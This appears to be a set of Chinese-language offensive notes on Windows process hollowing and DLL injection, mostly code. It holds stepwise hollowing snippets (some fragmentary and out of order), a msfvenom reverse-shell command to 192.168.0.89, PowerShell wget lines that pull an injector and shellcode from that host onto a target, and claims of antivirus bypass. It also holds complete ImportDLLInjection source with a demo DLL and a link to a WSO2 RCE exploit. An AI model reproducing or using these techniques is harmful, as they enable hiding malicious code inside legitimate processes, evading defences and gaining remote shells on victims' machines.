https://www.autosectools.com/Process-Hollowing.pdf
https://github.com/reevesrs24/EvasiveProcessHollowing
第 1 步:创建一个处于挂起状态的新进程:
设置了CREATE_SUSPENDED标志的CreateProcessA()
printf("Creating process\r\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
第 2 步:交换其内存内容(取消映射/挖空):
NtUnmapViewOfSection()
可以使用以下方法完成:
NtQueryProcessInformation + ReadProcessMemory
此外,可以使用单个函数轻松完成:
ReadRemotePEB(pProcessInfo->hProcess) PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
从 PEB 的图像地址读取 NT Headers 格式(从 PE 结构)。这是必不可少的,因为它包含与操作系统相关的信息,这些信息在进一步的代码中需要。这可以使用 ReadRemoteImage() 来完成。pImage 是指向 hProcess 句柄和 ImageBaseAddress 的指针。
PLOADED_IMAGE pImage = ReadRemoteImage
(
pProcessInfo- > hProcess,
pPEB- > ImageBaseAddress
);
第 3 步:在此未映射区域中输入恶意负载:
VirtualAllocEx :分配新内存
WriteProcessMemory():写入每个恶意软件部分以针对进程空间
printf("Unmapping destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC fpNtUnmapViewOfSection = GetProcAddress
(
hNTDLL,
"NtUnmapViewOfSection"
);
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
第 4 步:将 EAX 设置为入口点:
设置线程上下文()
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections[x].PointerToRawData)
continue;
PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
}
第 5 步:启动挂起的线程:
恢复线程()
for (DWORD y = 0; y < dwEntryCount; y++)
{
dwOffset += sizeof(BASE_RELOCATION_ENTRY);
if (pBlocks[y].Type == 0)
continue;
DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;
DWORD dwBuffer = 0;
ReadProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
dwBuffer += dwDelta;
BOOL bSuccess = WriteProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
}
第 6 步:将 EAX 设置为入口点并恢复线程
LPCONTEXT pContext = new CONTEXT () ;
pContext- > ContextFlags = CONTEXT_INTEGER;
GetThreadContext ( pProcessInfo- > hThread, pContext )
DWORD dwEntrypoint = ( DWORD ) pPEB- > ImageBaseAddress + pSourceHeaders- > OptionalHeader。AddressOfEntryPoint ;
pContext- > Eax = dwEntrypoint; //EAX设置为入口点
SetThreadContext ( pProcessInfo- > hThread, pContext )
ResumeThread ( pProcessInfo- > hThread ) //线程恢复
第 7 步:用自定义代码替换正版进程
pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");
CreateHollowedProcess("svchost",pPath);
在 PoC 的第 1 部分中,编写了一个 Process Hollowing exe,其中包含一个小的 PoC 代码弹出窗口,该弹出窗口被注入到一个合法的 explorer.exe 进程中。这是一个独立的 EXE,因此,硬编码的弹出可以替换为 msfvenom shellcode,为您自己的 C2 服务器提供反向 shell。
签入进程资源管理器后,我们看到一个新的 explorer.exe 进程已创建,其指定的进程 ID 相同,表明我们的 EXE 已使用空心技术成功伪装。
https://github.com/3xpl01tc0d3r/ProcessInjection
该工具将原始 shellcode 作为文本文件的输入,并注入用户指定的合法进程。可以使用 Visual Studio 下载和编译发布(转到 Visual Studio->打开 .sln 文件->构建发布)
$ msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f hex
传到目标机器执行
$ powershell wget 192.168.0.89/ProcessInjection.exe -O ProcessInjection.exe
$ powershell wget 192.168.0.89/hex.txt -O hex.txt
$ ProcessInjection.exe /t:3 /f:hex /path:"hex.txt" /ppath:"c:\windows\system32\notepad.exe"
收到shell
在进程资源管理器中,我们看到生成了一个新的 notepad.exe,其 PID 与创建新进程的 PID 相同,并且绕过了AV
ImportDLLInjection - 通过修改内存中的PE头来注入DLL的另一种方法
将修改新创建进程内存中的 PE 标头,以将我们自己的 DLL 添加到导入描述符列表中
1 使用带有 CREATE_SUSPENDED 标志的 CreateProcess 创建目标 EXE 进程的挂起实例。
2 计算目标EXE的基地址,使用NtQueryInformationProcess读取目标进程的PEB地址,使用ReadProcessMemory读取ImageBaseAddress字段值。
3 使用 ReadProcessMemory 从目标进程读取主 PE 头(IMAGE_NT_HEADERS)。
4 为以后存储未修改的 IMAGE_NT_HEADERS 结构的副本。
5 在 PE 头 (ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]) 内的导入描述符列表中添加一个额外的 DLL 条目。还需要在目标进程中分配模块路径、导入查找表和导入地址表。导入表将包括一个条目:序数 #1。
6 使用WriteProcessMemory 将更新的PE 头写回目标进程。
7 使用 ResumeThread 恢复目标进程的执行。
8 循环使用ReadProcessMemory 读取注入DLL 的新导入地址表。等到目标进程更新了单个导入(序数 #1)的地址。
9 DLL 现在已经被注入到目标进程中。释放任何临时内存并从第 4 步恢复原始 PE 标头。
#include <stdio.h>
#include <windows.h>
DWORD (WINAPI *NtQueryInformationProcess)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength);
struct PROCESS_BASIC_INFORMATION
{
DWORD ExitStatus;
void *PebBaseAddress;
DWORD AffinityMask;
DWORD BasePriority;
DWORD UniqueProcessId;
DWORD InheritedFromUniqueProcessId;
};
DWORD LaunchTargetProcess(char *pExePath, HANDLE *phProcess, HANDLE *phProcessMainThread)
{
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
// initialise startup data
memset((void*)&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
printf("Launching target process...\n");
// create target process (suspended)
memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo));
if(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo) == 0)
{
return 1;
}
// store handles
*phProcess = ProcessInfo.hProcess;
*phProcessMainThread = ProcessInfo.hThread;
return 0;
}
DWORD InjectDll(HANDLE hProcess, HANDLE hProcessMainThread, char *pDllPath)
{
IMAGE_DOS_HEADER ImageDosHeader;
IMAGE_NT_HEADERS ImageNtHeader;
IMAGE_NT_HEADERS ImageNtHeader_Original;
PROCESS_BASIC_INFORMATION ProcessBasicInfo;
DWORD dwExeBaseAddrPebPtr = 0;
DWORD dwExeBaseAddr = 0;
DWORD dwNtHeaderAddr = 0;
DWORD dwDllPathLength = 0;
void *pRemoteAlloc_DllPath = NULL;
void *pRemoteAlloc_ImportLookupTable = NULL;
void *pRemoteAlloc_ImportAddressTable = NULL;
void *pRemoteAlloc_NewImportDescriptorList = NULL;
DWORD dwImportLookupTable[2];
DWORD dwExistingImportDescriptorEntryCount = 0;
DWORD dwNewImportDescriptorEntryCount = 0;
BYTE *pNewImportDescriptorList = NULL;
IMAGE_IMPORT_DESCRIPTOR NewDllImportDescriptors[2];
DWORD dwExistingImportDescriptorAddr = 0;
BYTE *pCopyImportDescriptorDataPtr = NULL;
DWORD dwNewImportDescriptorListDataLength = 0;
DWORD dwOriginalProtection = 0;
DWORD dwOriginalProtection2 = 0;
DWORD dwCurrentImportAddressTable[2];
printf("Reading image base address from PEB...\n");
// get process info
memset(&ProcessBasicInfo, 0, sizeof(ProcessBasicInfo));
if(NtQueryInformationProcess(hProcess, 0, &ProcessBasicInfo, sizeof(ProcessBasicInfo), NULL) != 0)
{
return 1;
}
// get target exe base address from PEB
dwExeBaseAddrPebPtr = (DWORD)ProcessBasicInfo.PebBaseAddress + 8;
if(ReadProcessMemory(hProcess, (void*)dwExeBaseAddrPebPtr, (void*)&dwExeBaseAddr, sizeof(DWORD), NULL) == 0)
{
return 1;
}
printf("Reading PE headers...\n");
// read PE header from target process
memset((void*)&ImageDosHeader, 0, sizeof(ImageDosHeader));
if(ReadProcessMemory(hProcess, (void*)dwExeBaseAddr, (void*)&ImageDosHeader, sizeof(ImageDosHeader), NULL) == 0)
{
return 1;
}
// read NT header from target process
dwNtHeaderAddr = dwExeBaseAddr + ImageDosHeader.e_lfanew;
memset((void*)&ImageNtHeader, 0, sizeof(ImageNtHeader));
if(ReadProcessMemory(hProcess, (void*)dwNtHeaderAddr, (void*)&ImageNtHeader, sizeof(ImageNtHeader), NULL) == 0)
{
return 1;
}
// save a copy of the original NT header
memcpy((void*)&ImageNtHeader_Original, (void*)&ImageNtHeader, sizeof(ImageNtHeader_Original));
// calculate dll path length
dwDllPathLength = strlen(pDllPath) + 1;
// allocate buffer for the dll path in the remote process
pRemoteAlloc_DllPath = VirtualAllocEx(hProcess, NULL, dwDllPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pRemoteAlloc_DllPath == NULL)
{
return 1;
}
// write dll path to remote process buffer
if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_DllPath, pDllPath, dwDllPathLength, NULL) == 0)
{
return 1;
}
// set import lookup table values (import ordinal #1)
dwImportLookupTable[0] = 0x80000001;
dwImportLookupTable[1] = 0;
// allocate buffer for the new import lookup table in the remote process
pRemoteAlloc_ImportLookupTable = VirtualAllocEx(hProcess, NULL, sizeof(dwImportLookupTable), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pRemoteAlloc_ImportLookupTable == NULL)
{
return 1;
}
// write import lookup table to remote process buffer
if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_ImportLookupTable, (void*)dwImportLookupTable, sizeof(dwImportLookupTable), NULL) == 0)
{
return 1;
}
// allocate buffer for the new import address table in the remote process
pRemoteAlloc_ImportAddressTable = VirtualAllocEx(hProcess, NULL, sizeof(dwImportLookupTable), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pRemoteAlloc_ImportAddressTable == NULL)
{
return 1;
}
// write import address table to remote process buffer (initially the same values as the import lookup table)
if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_ImportAddressTable, (void*)dwImportLookupTable, sizeof(dwImportLookupTable), NULL) == 0)
{
return 1;
}
// set import descriptor values for injected dll
NewDllImportDescriptors[0].OriginalFirstThunk = (DWORD)pRemoteAlloc_ImportLookupTable - dwExeBaseAddr;
NewDllImportDescriptors[0].TimeDateStamp = 0;
NewDllImportDescriptors[0].ForwarderChain = 0;
NewDllImportDescriptors[0].Name = (DWORD)pRemoteAlloc_DllPath - dwExeBaseAddr;
NewDllImportDescriptors[0].FirstThunk = (DWORD)pRemoteAlloc_ImportAddressTable - dwExeBaseAddr;
// end of import descriptor chain
NewDllImportDescriptors[1].OriginalFirstThunk = 0;
NewDllImportDescriptors[1].TimeDateStamp = 0;
NewDllImportDescriptors[1].ForwarderChain = 0;
NewDllImportDescriptors[1].Name = 0;
NewDllImportDescriptors[1].FirstThunk = 0;
// calculate existing number of imported dll modules
dwExistingImportDescriptorEntryCount = ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR);
if(dwExistingImportDescriptorEntryCount == 0)
{
// the target process doesn't have any imported dll entries - this is highly unusual but not impossible
dwNewImportDescriptorEntryCount = 2;
}
else
{
// add one extra dll entry
dwNewImportDescriptorEntryCount = dwExistingImportDescriptorEntryCount + 1;
}
// allocate new import description list (local)
dwNewImportDescriptorListDataLength = dwNewImportDescriptorEntryCount * sizeof(IMAGE_IMPORT_DESCRIPTOR);
pNewImportDescriptorList = (BYTE*)malloc(dwNewImportDescriptorListDataLength);
if(pNewImportDescriptorList == NULL)
{
return 1;
}
if(dwExistingImportDescriptorEntryCount != 0)
{
// read existing import descriptor entries
dwExistingImportDescriptorAddr = dwExeBaseAddr + ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if(ReadProcessMemory(hProcess, (void*)dwExistingImportDescriptorAddr, pNewImportDescriptorList, dwExistingImportDescriptorEntryCount * sizeof(IMAGE_IMPORT_DESCRIPTOR), NULL) == 0)
{
free(pNewImportDescriptorList);
return 1;
}
}
// copy the new dll import (and terminator entry) to the end of the list
pCopyImportDescriptorDataPtr = pNewImportDescriptorList + dwNewImportDescriptorListDataLength - sizeof(NewDllImportDescriptors);
memcpy(pCopyImportDescriptorDataPtr, (void*)NewDllImportDescriptors, sizeof(NewDllImportDescriptors));
// allocate buffer for the new import descriptor list in the remote process
pRemoteAlloc_NewImportDescriptorList = VirtualAllocEx(hProcess, NULL, dwNewImportDescriptorListDataLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pRemoteAlloc_NewImportDescriptorList == NULL)
{
free(pNewImportDescriptorList);
return 1;
}
// write new import descriptor list to remote process buffer
if(WriteProcessMemory(hProcess, (void*)pRemoteAlloc_NewImportDescriptorList, pNewImportDescriptorList, dwNewImportDescriptorListDataLength, NULL) == 0)
{
free(pNewImportDescriptorList);
return 1;
}
// free local import descriptor list buffer
free(pNewImportDescriptorList);
printf("Updating PE headers...\n");
// change the import descriptor address in the remote NT header to point to the new list
ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = (DWORD)pRemoteAlloc_NewImportDescriptorList - dwExeBaseAddr;
ImageNtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = dwNewImportDescriptorListDataLength;
// make NT header writable
if(VirtualProtectEx(hProcess, (LPVOID)dwNtHeaderAddr, sizeof(ImageNtHeader), PAGE_EXECUTE_READWRITE, &dwOriginalProtection) == 0)
{
return 1;
}
// write updated NT header to remote process
if(WriteProcessMemory(hProcess, (void*)dwNtHeaderAddr, (void*)&ImageNtHeader, sizeof(ImageNtHeader), NULL) == 0)
{
return 1;
}
printf("Resuming process...\n");
// resume target process execution
ResumeThread(hProcessMainThread);
printf("Waiting for target DLL...\n");
// wait for the target process to load the DLL
for(;;)
{
// read the IAT table for the injected DLL
memset((void*)dwCurrentImportAddressTable, 0, sizeof(dwCurrentImportAddressTable));
if(ReadProcessMemory(hProcess, (void*)pRemoteAlloc_ImportAddressTable, (void*)dwCurrentImportAddressTable, sizeof(dwCurrentImportAddressTable), NULL) == 0)
{
return 1;
}
// check if the IAT table has been processed
if(dwCurrentImportAddressTable[0] == dwImportLookupTable[0])
{
// IAT table for injected DLL not yet processed - try again in 100ms
Sleep(100);
continue;
}
// DLL has been loaded by target process
break;
}
printf("Restoring original PE headers...\n");
// restore original NT headers in target process
if(WriteProcessMemory(hProcess, (void*)dwNtHeaderAddr, (void*)&ImageNtHeader_Original, sizeof(ImageNtHeader), NULL) == 0)
{
return 1;
}
// restore original protection value for remote NT headers
if(VirtualProtectEx(hProcess, (LPVOID)dwNtHeaderAddr, sizeof(ImageNtHeader), dwOriginalProtection, &dwOriginalProtection2) == 0)
{
return 1;
}
// free temporary memory in remote process
VirtualFreeEx(hProcess, pRemoteAlloc_DllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteAlloc_ImportLookupTable, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteAlloc_ImportAddressTable, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteAlloc_NewImportDescriptorList, 0, MEM_RELEASE);
return 0;
}
int main(int argc, char *argv[])
{
HANDLE hProcess = NULL;
HANDLE hProcessMainThread = NULL;
char *pExePath = NULL;
char *pInjectDllPath = NULL;
char szInjectDllFullPath[512];
printf("ImportDLLInjection - www.x86matthew.com\n\n");
if(argc != 3)
{
printf("Usage: %s [exe_path] [inject_dll_path]\n\n", argv[0]);
return 1;
}
// get params
pExePath = argv[1];
pInjectDllPath = argv[2];
// get full path from dll filename
memset(szInjectDllFullPath, 0, sizeof(szInjectDllFullPath));
if(GetFullPathName(pInjectDllPath, sizeof(szInjectDllFullPath) - 1, szInjectDllFullPath, NULL) == 0)
{
printf("Invalid DLL path\n");
return 1;
}
// get NtQueryInformationProcess function ptr
NtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
if(NtQueryInformationProcess == NULL)
{
printf("Failed to find NtQueryInformationProcess function\n");
return 1;
}
// launch target process
if(LaunchTargetProcess(pExePath, &hProcess, &hProcessMainThread) != 0)
{
printf("Failed to launch target process\n");
return 1;
}
// inject DLL into target process
if(InjectDll(hProcess, hProcessMainThread, szInjectDllFullPath) != 0)
{
printf("Failed to inject DLL\n");
// error
TerminateProcess(hProcess, 0);
CloseHandle(hProcessMainThread);
CloseHandle(hProcess);
return 1;
}
printf("Finished\n");
// close handles
CloseHandle(hProcessMainThread);
CloseHandle(hProcess);
return 0;
}
演示dll
#include <stdio.h>
#include <windows.h>
// a blank exported function - this will be ordinal #1
__declspec(dllexport) void __cdecl ExportedFunction(void)
{
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if(fdwReason == DLL_PROCESS_ATTACH)
{
// display a message box
MessageBox(NULL, "MessageBox from injected DLL", "www.x86matthew.com", MB_OK);
}
return 1;
}
CVE-2022-29464 WSO2 RCE
https://github.com/hakivvi/CVE-2022-29464/blob/main/exploit.py